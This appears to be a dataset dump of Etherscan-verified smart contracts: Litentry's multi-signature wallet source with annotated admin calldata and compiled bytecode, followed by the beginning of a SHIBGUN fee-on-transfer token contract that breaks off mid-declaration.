/** *Submitted for verification at Etherscan.io on 2022-04-07 */ // Litentry: Modified based on // https://solidity-by-example.org/app/multi-sig-wallet/ // data:template // // (1) 0xcb10f215 /** @notice Sets a new resource for handler contracts that use the IERCHandler interface, and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param resourceID ResourceID to be used when making deposits. @param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed. */ // Function: adminSetResource(address handlerAddress, bytes32 resourceID, address tokenAddress) // MethodID: 0xcb10f215 // [0]: 00000000000000000000000050272b13efbb3da7c25cf5b98339efbd19a2a855 // [1]: 0000000000000000000000000000000000000000000000000000000000000001 // [2]: 00000000000000000000000027b981dd46ae0bfdda6677ddc75bce6995fca5bc // // // // (2) 0x4e056005 /** @notice Modifies the number of votes required for a proposal to be considered passed. @notice Only callable by an address that currently has the admin role. @param newThreshold Value {_relayerThreshold} will be changed to. @notice Emits {RelayerThresholdChanged} event. */ // Function: adminChangeRelayerThreshold(uint256 newThreshold) // MethodID: 0x4e056005 // [0]: 0000000000000000000000000000000000000000000000000000000000000001 // // // // (3) 0xcdb0f73a /** @notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count. @notice Only callable by an address that currently has the admin role. @param relayerAddress Address of relayer to be added. @notice Emits {RelayerAdded} event. */ // Function: adminAddRelayer(address relayerAddress) // MethodID: 0xcdb0f73a // [0]: 0000000000000000000000002aa87a1dd75df16a6b22dd1d94ae6c3d3be40e88 // // // // (4) 0x9d82dd63 /** @notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count. @notice Only callable by an address that currently has the admin role. @param relayerAddress Address of relayer to be removed. @notice Emits {RelayerRemoved} event. */ // Function: adminRemoveRelayer(address relayerAddress) // MethodID: 0x9d82dd63 // [0]: 0000000000000000000000002aa87a1dd75df16a6b22dd1d94ae6c3d3be40e88 // // // // (5) 0x80ae1c28 /** @notice Pauses deposits, proposal creation and voting, and deposit executions. @notice Only callable by an address that currently has the admin role. */ // Function adminPauseTransfers() // MethodID: 0x80ae1c28 // // // // (6) 0xffaac0eb /** @notice Unpauses deposits, proposal creation and voting, and deposit executions. @notice Only callable by an address that currently has the admin role. */ // Function adminUnpauseTransfers() // MethodID: 0xffaac0eb // // // // (7) 0x5e1fab0f /** @notice Removes admin role from {msg.sender} and grants it to {newAdmin}. @notice Only callable by an address that currently has the admin role. @param newAdmin Address that admin role will be granted to. */ // Function renounceAdmin(address newAdmin) // MethodID: 0x5e1fab0f // [0]: 0000000000000000000000002aa87a1dd75df16a6b22dd1d94ae6c3d3be40e88 // // // // (8) 0x17f03ce5 /** @notice Executes a deposit proposal that is considered passed using a specified handler contract. @notice Only callable by relayers when Bridge is not paused. @param chainID ID of chain deposit originated from. @param depositNonce ID of deposited generated by origin Bridge contract. @param dataHash Hash of data originally provided when deposit was made. @notice Proposal must be past expiry threshold. @notice Emits {ProposalEvent} event with status {Cancelled}. */ // Function cancelProposal(uint8 chainID, uint64 depositNonce, bytes32 dataHash) // MethodID: 0x17f03ce5 // [0]: 0000000000000000000000000000000000000000000000000000000000000003 // [1]: 0000000000000000000000000000000000000000000000000000000000000007 // [2]: 00000000000000000000000000000063a7e2be78898ba83824b0c0cc8dfb6001 // // // // (9) 0xc2d0c12d /** @notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1. This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0. @param addrs Array of addresses to transfer {amounts} to. @param amounts Array of amonuts to transfer to {addrs}. */ // Function transferFunds(address payable[] calldata addrs, uint[] calldata amounts) // MethodID: 0xc2d0c12d // Too complicated. See official document for reference // https://docs.soliditylang.org/en/develop/abi-spec.html#use-of-dynamic-types // // // // (10) 0x780cf004 /** @notice Used to manually withdraw funds from ERC safes. @param handlerAddress Address of handler to withdraw from. @param tokenAddress Address of token to withdraw. @param recipient Address to withdraw tokens to. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw. */ // Function adminWithdraw(address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID) // MethodID: 0x780cf004 // [0]: 00000000000000000000000050272b13efbb3da7c25cf5b98339efbd19a2a855 // [1]: 00000000000000000000000027b981dd46ae0bfdda6677ddc75bce6995fca5bc // [2]: 0000000000000000000000002aa87a1dd75df16a6b22dd1d94ae6c3d3be40e88 // [3]: 00000000000000000000000000000000000000000000000053444835ec580000 // // // // (11) 0x7f3e3744 /** @notice Changes deposit fee. @notice Only callable by admin. @param newFee Value {_fee} will be updated to. */ // Function adminChangeFee(uint newFee) // MethodID: 0x7f3e3744 // [0]: 00000000000000000000000000000000000000000000000053444835ec580000 // // // // (12) 0x8c0c2631 /** @notice Sets a resource as burnable for handler contracts that use the IERCHandler interface. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed. */ // Function adminSetBurnable(address handlerAddress, address tokenAddress) // MethodID: 0x8c0c2631 // [0]: 00000000000000000000000050272b13efbb3da7c25cf5b98339efbd19a2a855 // [1]: 00000000000000000000000027b981dd46ae0bfdda6677ddc75bce6995fca5bc // // // // (13) 0xe8437ee7 /** @notice Sets a new resource for handler contracts that use the IGenericHandler interface, and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}. @notice Only callable by an address that currently has the admin role. @param handlerAddress Address of handler resource will be set for. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. */ // Function adminSetGenericResource(address handlerAddress, bytes32 resourceID, address contractAddress, bytes4 depositFunctionSig, bytes4 executeFunctionSig) // MethodID: 0xe8437ee7 // [0]: 00000000000000000000000050272b13efbb3da7c25cf5b98339efbd19a2a855 // [1]: 00000000000000000000000000000063a7e2be78898ba83824b0c0cc8dfb6001 // [2]: 00000000000000000000000027b981dd46ae0bfdda6677ddc75bce6995fca5bc // [3]: **************************************************************** // [4]: **************************************************************** // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract MultiSigWallet { event Deposit(address indexed sender, uint amount, uint balance); event SubmitTransaction( address indexed owner, uint indexed txIndex, address indexed to, uint value, bytes data ); event ConfirmTransaction(address indexed owner, uint indexed txIndex); event RevokeConfirmation(address indexed owner, uint indexed txIndex); event ExecuteTransaction(address indexed owner, uint indexed txIndex); event addProposer(address indexed proposer,address indexed owner); event removeProposer(address indexed proposer, address indexed owner); address[] public owners; mapping(address => bool) public isOwner; mapping(address => bool) public isProposer; uint public numConfirmationsRequired; struct Transaction { address to; uint value; bytes data; bool executed; uint numConfirmations; } // mapping from tx index => owner => bool mapping(uint => mapping(address => bool)) public isConfirmed; Transaction[] public transactions; modifier onlyOwner() { require(isOwner[msg.sender], "not owner"); _; } modifier txExists(uint _txIndex) { require(_txIndex < transactions.length, "tx does not exist"); _; } modifier notExecuted(uint _txIndex) { require(!transactions[_txIndex].executed, "tx already executed"); _; } modifier notConfirmed(uint _txIndex) { require(!isConfirmed[_txIndex][msg.sender], "tx already confirmed"); _; } constructor(address[] memory _owners, uint _numConfirmationsRequired) { require(_owners.length > 0, "owners required"); require( _numConfirmationsRequired > 0 && _numConfirmationsRequired <= _owners.length, "invalid number of required confirmations" ); for (uint i = 0; i < _owners.length; i++) { address owner = _owners[i]; require(owner != address(0), "invalid owner"); require(!isOwner[owner], "owner not unique"); isOwner[owner] = true; owners.push(owner); } numConfirmationsRequired = _numConfirmationsRequired; } receive() external payable { emit Deposit(msg.sender, msg.value, address(this).balance); } function addProposers(address[] calldata _proposers) public onlyOwner { for (uint i = 0; i < _proposers.length; i++) { require(!isProposer[_proposers[i]], "proposer already"); isProposer[_proposers[i]] = true; emit addProposer(_proposers[i], msg.sender); } } function removeProposers(address[] calldata _proposers) public onlyOwner { for (uint i = 0; i < _proposers.length; i++) { require(isProposer[_proposers[i]], "not proposer already"); isProposer[_proposers[i]] = false; emit removeProposer(_proposers[i], msg.sender); } } function submitTransaction( address _to, uint _value, bytes memory _data ) public { require(isOwner[msg.sender] || isProposer[msg.sender], "not owner/proposer"); uint txIndex = transactions.length; transactions.push( Transaction({ to: _to, value: _value, data: _data, executed: false, numConfirmations: 0 }) ); emit SubmitTransaction(msg.sender, txIndex, _to, _value, _data); } function confirmTransaction(uint _txIndex) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) notConfirmed(_txIndex) { Transaction storage transaction = transactions[_txIndex]; transaction.numConfirmations += 1; isConfirmed[_txIndex][msg.sender] = true; emit ConfirmTransaction(msg.sender, _txIndex); } function executeTransaction(uint _txIndex) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) { Transaction storage transaction = transactions[_txIndex]; require( transaction.numConfirmations >= numConfirmationsRequired, "cannot execute tx" ); transaction.executed = true; (bool success, ) = transaction.to.call{value: transaction.value}( transaction.data ); require(success, "tx failed"); emit ExecuteTransaction(msg.sender, _txIndex); } function revokeConfirmation(uint _txIndex) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) { Transaction storage transaction = transactions[_txIndex]; require(isConfirmed[_txIndex][msg.sender], "tx not confirmed"); transaction.numConfirmations -= 1; isConfirmed[_txIndex][msg.sender] = false; emit RevokeConfirmation(msg.sender, _txIndex); } function getOwners() public view returns (address[] memory) { return owners; } function getTransactionCount() public view returns (uint) { return transactions.length; } function getTransaction(uint _txIndex) public view returns ( address to, uint value, bytes memory data, bool executed, uint numConfirmations ) { Transaction storage transaction = transactions[_txIndex]; return ( transaction.to, transaction.value, transaction.data, transaction.executed, transaction.numConfirmations ); } }
0x6080604052600436106100ec5760003560e01c806380f59a651161008a578063c642747411610059578063c64274741461038f578063d0549b85146103b8578063e5d9a252146103e3578063ee22610b1461040c57610143565b806380f59a65146102bd5780639ace38c2146102fa578063a0e67e2b1461033b578063c01a8c841461036657610143565b80632e7700f0116100c65780632e7700f0146101d75780632f54bf6e1461020257806333ea3dc81461023f57806374ec29a01461028057610143565b8063025e7c27146101485780630666419d1461018557806320ea8d86146101ae57610143565b36610143573373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a153447604051610139929190611826565b60405180910390a2005b600080fd5b34801561015457600080fd5b5061016f600480360381019061016a919061188f565b610435565b60405161017c91906118fd565b60405180910390f35b34801561019157600080fd5b506101ac60048036038101906101a7919061197d565b610474565b005b3480156101ba57600080fd5b506101d560048036038101906101d0919061188f565b6106da565b005b3480156101e357600080fd5b506101ec6109b4565b6040516101f991906119ca565b60405180910390f35b34801561020e57600080fd5b5061022960048036038101906102249190611a11565b6109c1565b6040516102369190611a59565b60405180910390f35b34801561024b57600080fd5b506102666004803603810190610261919061188f565b6109e1565b604051610277959493929190611b0d565b60405180910390f35b34801561028c57600080fd5b506102a760048036038101906102a29190611a11565b610af4565b6040516102b49190611a59565b60405180910390f35b3480156102c957600080fd5b506102e460048036038101906102df9190611b67565b610b14565b6040516102f19190611a59565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c919061188f565b610b43565b604051610332959493929190611b0d565b60405180910390f35b34801561034757600080fd5b50610350610c3e565b60405161035d9190611c65565b60405180910390f35b34801561037257600080fd5b5061038d6004803603810190610388919061188f565b610ccc565b005b34801561039b57600080fd5b506103b660048036038101906103b19190611db7565b610fa9565b005b3480156103c457600080fd5b506103cd611207565b6040516103da91906119ca565b60405180910390f35b3480156103ef57600080fd5b5061040a6004803603810190610405919061197d565b61120d565b005b34801561041857600080fd5b50610433600480360381019061042e919061188f565b611472565b005b6000818154811061044557600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790611e83565b60405180910390fd5b60005b828290508110156106d5576002600084848481811061052557610524611ea3565b5b905060200201602081019061053a9190611a11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156105c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b990611f1e565b60405180910390fd5b6001600260008585858181106105db576105da611ea3565b5b90506020020160208101906105f09190611a11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1683838381811061066b5761066a611ea3565b5b90506020020160208101906106809190611a11565b73ffffffffffffffffffffffffffffffffffffffff167f5de1508137a2743f4d3e58653c7b4524e5af183e3daf78dd706510b90f93f6b560405160405180910390a380806106cd90611f6d565b915050610503565b505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075d90611e83565b60405180910390fd5b8060058054905081106107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a590612002565b60405180910390fd5b81600581815481106107c3576107c2611ea3565b5b906000526020600020906005020160030160009054906101000a900460ff1615610822576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108199061206e565b60405180910390fd5b60006005848154811061083857610837611ea3565b5b906000526020600020906005020190506004600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc906120da565b60405180910390fd5b60018160040160008282546108fa91906120fa565b9250508190555060006004600086815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550833373ffffffffffffffffffffffffffffffffffffffff167ff0dca620e2e81f7841d07bcc105e1704fb01475b278a9d4c236e1c62945edd5560405160405180910390a350505050565b6000600580549050905090565b60016020528060005260406000206000915054906101000a900460ff1681565b60008060606000806000600587815481106109ff576109fe611ea3565b5b906000526020600020906005020190508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160010154826002018360030160009054906101000a900460ff168460040154828054610a609061215d565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8c9061215d565b8015610ad95780601f10610aae57610100808354040283529160200191610ad9565b820191906000526020600020905b815481529060010190602001808311610abc57829003601f168201915b50505050509250955095509550955095505091939590929450565b60026020528060005260406000206000915054906101000a900460ff1681565b60046020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60058181548110610b5357600080fd5b90600052602060002090600502016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054610ba29061215d565b80601f0160208091040260200160405190810160405280929190818152602001828054610bce9061215d565b8015610c1b5780601f10610bf057610100808354040283529160200191610c1b565b820191906000526020600020905b815481529060010190602001808311610bfe57829003601f168201915b5050505050908060030160009054906101000a900460ff16908060040154905085565b60606000805480602002602001604051908101604052809291908181526020018280548015610cc257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610c78575b5050505050905090565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4f90611e83565b60405180910390fd5b806005805490508110610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790612002565b60405180910390fd5b8160058181548110610db557610db4611ea3565b5b906000526020600020906005020160030160009054906101000a900460ff1615610e14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0b9061206e565b60405180910390fd5b826004600082815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eaa906121db565b60405180910390fd5b600060058581548110610ec957610ec8611ea3565b5b906000526020600020906005020190506001816004016000828254610eee91906121fb565b9250508190555060016004600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f5cbe105e36805f7820e291f799d5794ff948af2a5f664e580382defb6339004160405160405180910390a35050505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061104a5750600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611089576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110809061229d565b60405180910390fd5b6000600580549050905060056040518060a001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581526020016000815250908060018154018082558091505060019003906000526020600020906005020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061116c92919061176a565b5060608201518160030160006101000a81548160ff0219169083151502179055506080820151816004015550508373ffffffffffffffffffffffffffffffffffffffff16813373ffffffffffffffffffffffffffffffffffffffff167fd5a05bf70715ad82a09a756320284a1b54c9ff74cd0f8cce6219e79b563fe59d86866040516111f99291906122bd565b60405180910390a450505050565b60035481565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611299576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129090611e83565b60405180910390fd5b60005b8282905081101561146d57600260008484848181106112be576112bd611ea3565b5b90506020020160208101906112d39190611a11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661135a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135190612339565b60405180910390fd5b60006002600085858581811061137357611372611ea3565b5b90506020020160208101906113889190611a11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff1683838381811061140357611402611ea3565b5b90506020020160208101906114189190611a11565b73ffffffffffffffffffffffffffffffffffffffff167ff3f599f7f9cac00f1b90d51c9c249ed7c44736d71566371565c056e3cc78685960405160405180910390a3808061146590611f6d565b91505061129c565b505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f590611e83565b60405180910390fd5b806005805490508110611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90612002565b60405180910390fd5b816005818154811061155b5761155a611ea3565b5b906000526020600020906005020160030160009054906101000a900460ff16156115ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b19061206e565b60405180910390fd5b6000600584815481106115d0576115cf611ea3565b5b9060005260206000209060050201905060035481600401541015611629576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611620906123a5565b60405180910390fd5b60018160030160006101000a81548160ff02191690831515021790555060008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040516116999190612464565b60006040518083038185875af1925050503d80600081146116d6576040519150601f19603f3d011682016040523d82523d6000602084013e6116db565b606091505b505090508061171f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611716906124c7565b60405180910390fd5b843373ffffffffffffffffffffffffffffffffffffffff167f5445f318f4f5fcfb66592e68e0cc5822aa15664039bd5f0ffde24c5a8142b1ac60405160405180910390a35050505050565b8280546117769061215d565b90600052602060002090601f01602090048101928261179857600085556117df565b82601f106117b157805160ff19168380011785556117df565b828001600101855582156117df579182015b828111156117de5782518255916020019190600101906117c3565b5b5090506117ec91906117f0565b5090565b5b808211156118095760008160009055506001016117f1565b5090565b6000819050919050565b6118208161180d565b82525050565b600060408201905061183b6000830185611817565b6118486020830184611817565b9392505050565b6000604051905090565b600080fd5b600080fd5b61186c8161180d565b811461187757600080fd5b50565b60008135905061188981611863565b92915050565b6000602082840312156118a5576118a4611859565b5b60006118b38482850161187a565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006118e7826118bc565b9050919050565b6118f7816118dc565b82525050565b600060208201905061191260008301846118ee565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261193d5761193c611918565b5b8235905067ffffffffffffffff81111561195a5761195961191d565b5b60208301915083602082028301111561197657611975611922565b5b9250929050565b6000806020838503121561199457611993611859565b5b600083013567ffffffffffffffff8111156119b2576119b161185e565b5b6119be85828601611927565b92509250509250929050565b60006020820190506119df6000830184611817565b92915050565b6119ee816118dc565b81146119f957600080fd5b50565b600081359050611a0b816119e5565b92915050565b600060208284031215611a2757611a26611859565b5b6000611a35848285016119fc565b91505092915050565b60008115159050919050565b611a5381611a3e565b82525050565b6000602082019050611a6e6000830184611a4a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611aae578082015181840152602081019050611a93565b83811115611abd576000848401525b50505050565b6000601f19601f8301169050919050565b6000611adf82611a74565b611ae98185611a7f565b9350611af9818560208601611a90565b611b0281611ac3565b840191505092915050565b600060a082019050611b2260008301886118ee565b611b2f6020830187611817565b8181036040830152611b418186611ad4565b9050611b506060830185611a4a565b611b5d6080830184611817565b9695505050505050565b60008060408385031215611b7e57611b7d611859565b5b6000611b8c8582860161187a565b9250506020611b9d858286016119fc565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611bdc816118dc565b82525050565b6000611bee8383611bd3565b60208301905092915050565b6000602082019050919050565b6000611c1282611ba7565b611c1c8185611bb2565b9350611c2783611bc3565b8060005b83811015611c58578151611c3f8882611be2565b9750611c4a83611bfa565b925050600181019050611c2b565b5085935050505092915050565b60006020820190508181036000830152611c7f8184611c07565b905092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611cc482611ac3565b810181811067ffffffffffffffff82111715611ce357611ce2611c8c565b5b80604052505050565b6000611cf661184f565b9050611d028282611cbb565b919050565b600067ffffffffffffffff821115611d2257611d21611c8c565b5b611d2b82611ac3565b9050602081019050919050565b82818337600083830152505050565b6000611d5a611d5584611d07565b611cec565b905082815260208101848484011115611d7657611d75611c87565b5b611d81848285611d38565b509392505050565b600082601f830112611d9e57611d9d611918565b5b8135611dae848260208601611d47565b91505092915050565b600080600060608486031215611dd057611dcf611859565b5b6000611dde868287016119fc565b9350506020611def8682870161187a565b925050604084013567ffffffffffffffff811115611e1057611e0f61185e565b5b611e1c86828701611d89565b9150509250925092565b600082825260208201905092915050565b7f6e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b6000611e6d600983611e26565b9150611e7882611e37565b602082019050919050565b60006020820190508181036000830152611e9c81611e60565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f70726f706f73657220616c726561647900000000000000000000000000000000600082015250565b6000611f08601083611e26565b9150611f1382611ed2565b602082019050919050565b60006020820190508181036000830152611f3781611efb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f788261180d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611fab57611faa611f3e565b5b600182019050919050565b7f747820646f6573206e6f74206578697374000000000000000000000000000000600082015250565b6000611fec601183611e26565b9150611ff782611fb6565b602082019050919050565b6000602082019050818103600083015261201b81611fdf565b9050919050565b7f747820616c726561647920657865637574656400000000000000000000000000600082015250565b6000612058601383611e26565b915061206382612022565b602082019050919050565b600060208201905081810360008301526120878161204b565b9050919050565b7f7478206e6f7420636f6e6669726d656400000000000000000000000000000000600082015250565b60006120c4601083611e26565b91506120cf8261208e565b602082019050919050565b600060208201905081810360008301526120f3816120b7565b9050919050565b60006121058261180d565b91506121108361180d565b92508282101561212357612122611f3e565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061217557607f821691505b602082108114156121895761218861212e565b5b50919050565b7f747820616c726561647920636f6e6669726d6564000000000000000000000000600082015250565b60006121c5601483611e26565b91506121d08261218f565b602082019050919050565b600060208201905081810360008301526121f4816121b8565b9050919050565b60006122068261180d565b91506122118361180d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561224657612245611f3e565b5b828201905092915050565b7f6e6f74206f776e65722f70726f706f7365720000000000000000000000000000600082015250565b6000612287601283611e26565b915061229282612251565b602082019050919050565b600060208201905081810360008301526122b68161227a565b9050919050565b60006040820190506122d26000830185611817565b81810360208301526122e48184611ad4565b90509392505050565b7f6e6f742070726f706f73657220616c7265616479000000000000000000000000600082015250565b6000612323601483611e26565b915061232e826122ed565b602082019050919050565b6000602082019050818103600083015261235281612316565b9050919050565b7f63616e6e6f742065786563757465207478000000000000000000000000000000600082015250565b600061238f601183611e26565b915061239a82612359565b602082019050919050565b600060208201905081810360008301526123be81612382565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b600081546123f28161215d565b6123fc81866123c5565b9450600182166000811461241757600181146124285761245b565b60ff1983168652818601935061245b565b612431856123d0565b60005b8381101561245357815481890152600182019150602081019050612434565b838801955050505b50505092915050565b600061247082846123e5565b915081905092915050565b7f7478206661696c65640000000000000000000000000000000000000000000000600082015250565b60006124b1600983611e26565b91506124bc8261247b565b602082019050919050565b600060208201905081810360008301526124e0816124a4565b905091905056fea2646970667358221220819667106229afc6f4fb509a505554174ddbafd2785e237d5f1ea4e311a840bd64736f6c634300080a0033
{"success": true, "error": null, "results": {}}
9,510
0xa717572ddc3682d145c3f5d1ef0da30063f34ecd
/* https://t.me/shibgun https://shibgun.com/ $SHIBGUN 1.25% Max Buy 10/20% Tax (First 2 Hours) 3% Max Wallet */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract shibguntoken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SHIBGUN"; string private constant _symbol = "SHIBGUN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 20; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xf472f151293ee52b475186daca77beD645C88a36); address payable private _marketingAddress = payable(0xf472f151293ee52b475186daca77beD645C88a36); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 125000000 * 